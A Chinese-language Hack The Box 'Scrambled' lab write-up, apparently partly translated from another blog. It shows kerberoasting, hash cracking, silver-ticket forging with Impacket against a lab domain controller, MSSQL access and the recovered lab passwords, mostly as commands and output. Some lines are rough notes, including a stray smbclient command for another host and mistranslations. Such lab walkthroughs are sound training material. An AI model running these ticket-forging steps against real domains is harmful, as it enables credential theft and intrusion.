HTB-Scrambled

初始权限获得

端口扫描

访问80

大致浏览一下

知道NTLM 身份验证已禁用,且有个截图泄露了用户名 ksimpson

/salesorders.html有关于“销售订单应用程序”的详细信息,该应用程序确认了主机名/域名nmap`,还指出了 TCP 4411 的用途:

我注意到有一个选项“启用调试日志记录”。

  • passwords.html说:

    密码重置

    我们的自助密码重置系统将很快启动并运行,但在此期间,请致电 IT 支持热线,我们将重置您的密码。如果没有人接听,请留言说明您的用户名,我们将重置您的密码,使其与用户名相同。

目录爆破

feroxbuster -u http://10.10.11.168 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt

在没有凭据的情况下顺便看看ldap

ldapsearch -h 10.10.11.168 -x -s base namingcontexts

smbclient行不通,我也没法使用crackmapexec

smbclient.py使用

利用impacket的

smbclient.py -k scrm.local/ksimpson:ksimpson@dc1.scrm.local -dc-ip dc1.scrm.local

smbclient -U LicorDebellota.htb/kaorz

//10.129.228.115/netlogon

help给出命令:

shares显示目录:

大多数没办法访问

use public

get Network Security Changes.pdf

pdf李米娜再次提到 NTLM 由于 NTLM 中继攻击而被禁用,现在一切都是通过 Kerberos 完成的。它还提到,人力资源部门已删除 SQL 数据库的访问权限。

应为ntlm认证被禁止,利用kerbore,

GetUserSPNs.py scrm.local/ksimpson:ksimpson -dc-host dc1.scrm.local -request -k

获得sqlsvc的凭证

hashcat mssqlsvc-hash /usr/share/wordlists/rockyou.txt

Pegasus60

银票

这些信用实际上并不能直接允许我接触到任何新的东西。但因为这个帐户正在运行 SQL 服务,所以我可以使用该密码来执行Silver Ticket 攻击。adsecurity.org 链接的概述非常好。Silver Ticket 是伪造的 TGS(票证授予服务)票证,直接在客户端和服务之间使用,无需经过 DC。相反,TGS 票证是由服务帐户本身签名的,因此银票证仅限于仅验证服务本身。

要创建银票,攻击者需要:

  1. 服务帐户密码的 NTLM 哈希值;

  2. 域的SID

  3. 与帐户关联的服务主体名称 (SPN)。

GetUserSPNS.py我已经通过上面获得了 SPN MSSQLSvc/dc1.scrm.local:1433

要获取密码“Pegasus60”的 NTLM 哈希值,我将使用这篇文章中的命令:

密码转换银票hash

oxdf@hacky$ iconv -f ASCII -t UTF-16LE <(printf "Pegasus60") | openssl dgst -md4

(stdin)= b999a16500b87d17ec7f2e2a68778f05

接下来获取域sid,第一个方法我不知道/etc/ldap/ldap.conf在哪

后面想弄再来看看

利用ldap转储sid,如何排除故障

要获取域 SID,我需要连接回 LDAP,但需要经过身份验证。需要进行大量的故障排除和搜索才能使其正常工作(感谢 TheCyberGeek 提供了一些关于此问题的提示)。如果我尝试以 ksimpson 身份连接,则会收到有关需要 SSL/TLS 的错误:

oxdf@hacky$ ldapsearch -h dc1.scrm.local -D ksimpson@scrm.local -w ksimpson -b "DC=scrm,DC=local" "(objectClass=user)"
ldap_bind: Strong(er) authentication required (8)
        additional info: 00002028: LdapErr: DSID-0C090259, comment: The server requires binds to turn on integrity checking if SSL\TLS are not already active on the connection, data 0, v4563

我需要下载服务器证书才能启用此连接:

oxdf@hacky$ openssl s_client -connect dc1.scrm.local:636
CONNECTED(00000003)
depth=0 CN = DC1.scrm.local
verify error:num=20:unable to get local issuer certificate
verify return:1         
depth=0 CN = DC1.scrm.local           
verify error:num=21:unable to verify the first certificate
verify return:1                                        
---                                                       
Certificate chain
 0 s:CN = DC1.scrm.local                           
   i:DC = local, DC = scrm, CN = scrm-DC1-CA
---                              
Server certificate
-----BEGIN CERTIFICATE-----
MIIGHDCCBQSgAwIBAgITEgAAAAIJqKDU0Cj0DgAAAAAAAjANBgkqhkiG9w0BAQUF
...[snip]...
G6CIrcE0+XepleMQggP4zOUbTO01AUmq7eX2z031RE4ndrCtgBXuGSHDqnUSvmVN
N6T9KeVeLFfbxp6gyHA3ehMBKrkbp3iLAWiWptbdIHE=
-----END CERTIFICATE-----
...[snip]...

我将获取该证书并将其保存到文件中。我可以用一行代码做到这一点:

oxdf@hacky$ echo -n | openssl s_client -connect dc1.scrm.local:636 | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > ldapserver.pem
depth=0 CN = DC1.scrm.local
verify error:num=20:unable to get local issuer certificate
verify return:1
depth=0 CN = DC1.scrm.local
verify error:num=21:unable to verify the first certificate
verify return:1
DONE

现在我将编辑/etc/ldap/ldap.conf以指出这一点:

#
# LDAP Defaults
#
​
# See ldap.conf(5) for details
# This file should be world readable but not world writable.
​
#BASE   dc=example,dc=com
#URI    ldap://ldap.example.com ldap://ldap-master.example.com:666
​
#SIZELIMIT      12
#TIMELIMIT      15
#DEREF          never
​
# TLS certificates (needed for GnuTLS)
TLS_CACERT      /home/oxdf/hackthebox/scrambled-10.10.11.168/ldapserver.pem

ldapsearch现在将转储所有用户:

oxdf@hacky$ ldapsearch -h dc1.scrm.local -Z -D ksimpson@scrm.local -w ksimpson -b "DC=scrm,DC=local" "(objectClass=user)" 
# extended LDIF
#
# LDAPv3
# base <DC=scrm,DC=local> with scope subtree
# filter: (objectClass=user)
# requesting: ALL
#
...[snip]...
# Administrator, Users, scrm.local
dn: CN=Administrator,CN=Users,DC=scrm,DC=local
...[snip]...                         
objectSid:: AQUAAAAAAAUVAAAAhQSCo0F98mxA04uX9AEAAA==
...[snip]...                         

我需要字符串形式的 SID,因此我将使用此博客和一些 Python 来编写转换器:

#!/usr/bin/env python3
​
import base64
import struct
import sys
​
b64sid = sys.argv[1]
binsid = base64.b64decode(b64sid)
a, N, cccc, dddd, eeee, ffff, gggg = struct.unpack("BBxxxxxxIIIII", binsid)
bb, bbbb = struct.unpack(">xxHIxxxxxxxxxxxxxxxxxxxx", binsid)
bbbbbb = (bb << 32) | bbbb
​
print(f"S-{a}-{bbbbbb}-{cccc}-{dddd}-{eeee}-{ffff}-{gggg}")

有用:

oxdf@hacky$ python sid.py  AQUAAAAAAAUVAAAAhQSCo0F98mxA04uX9AEAAA==
S-1-5-21-2743207045-1827831105-2542523200-500
第二种办法找sid

获取域 SID 的另一种(且更简单)方法是使用getPac.pyImpacket 中的脚本。该脚本旨在获取任何用户的权限属性证书,这只需要作为域中的用户进行身份验证。我将给它 ksimpson 的权限并询问管理员:

oxdf@hacky$ getPac.py -targetUser administrator scrm.local/ksimpson:ksimpson

Domain SID: S-1-5-21-2743207045-1827831105-2542523200

有大量有关该帐户的信息,但就我当前的目的而言,最后一项(在末尾看似随机的十六进制之前)是域 SID。

生成票据并且导入环境

ticketer.py -nthash b999a16500b87d17ec7f2e2a68778f05 -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -domain scrm.local -dc-ip dc1.scrm.local -spn MSSQLSvc/dc1.scrm.local:1433 administrator

在 Linux 上,Kerberos 在预定义的位置查找票证,例如环境变量/tmp/krb5cc_[uid of current user]指向的任何文件KRB5CCACHE。如果我只是运行klist,它将无法找到新票:

oxdf@hacky$ klist 
klist: No credentials cache found (filename: /tmp/krb5cc_1000)

如果我将 env 变量指向 from 的文件ticketer.py,它会显示有关票证的信息:

oxdf@hacky$ KRB5CCNAME=administrator.ccache klist
Ticket cache: FILE:administrator.ccache
Default principal: administrator@SCRM.LOCAL
​
Valid starting       Expires              Service principal
06/14/2022 18:44:15  06/14/2032 18:44:15  MSSQLSvc/dc1.scrm.local:1433@SCRM.LOCAL
        renew until 06/14/2032 18:44:15

使用相同的方法,mssqlclient.py可以使用票证连接到数据库:

oxdf@hacky$ KRB5CCNAME=administrator.ccache mssqlclient.py -k dc1.scrm.local
Impacket v0.9.25.dev1+20220119.101925.12de27dc - Copyright 2021 SecureAuth Corporation
​
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC1): Line 1: Changed database context to 'master'.
[*] INFO(DC1): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL>

数据库枚举

select name, database_id from sys.databases;

ScrambleHR看起来很有趣。它有三个表:

SELECT TABLE_NAME FROM ScrambleHR.INFORMATION_SCHEMA.TABLES;

和表都是空的EmployeesTimesheets其中有一行UserImport

SELECT * from ScrambleHR.dbo.UserImport;

MiscSvc ScrambledEggs9900

MSSQL 能够通过xp_cmdshell存储过程运行命令。在这里可以这样做,但是服务帐户无法访问盒子上的大部分内容,这在很大程度上是一个死胡同。

linux上安装powershell

Installing PowerShell on Ubuntu - PowerShell | Microsoft Learn

后续的反序列化和代码逆向看

HTB: Scrambled [From Linux] | 0xdf hacks stuff

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值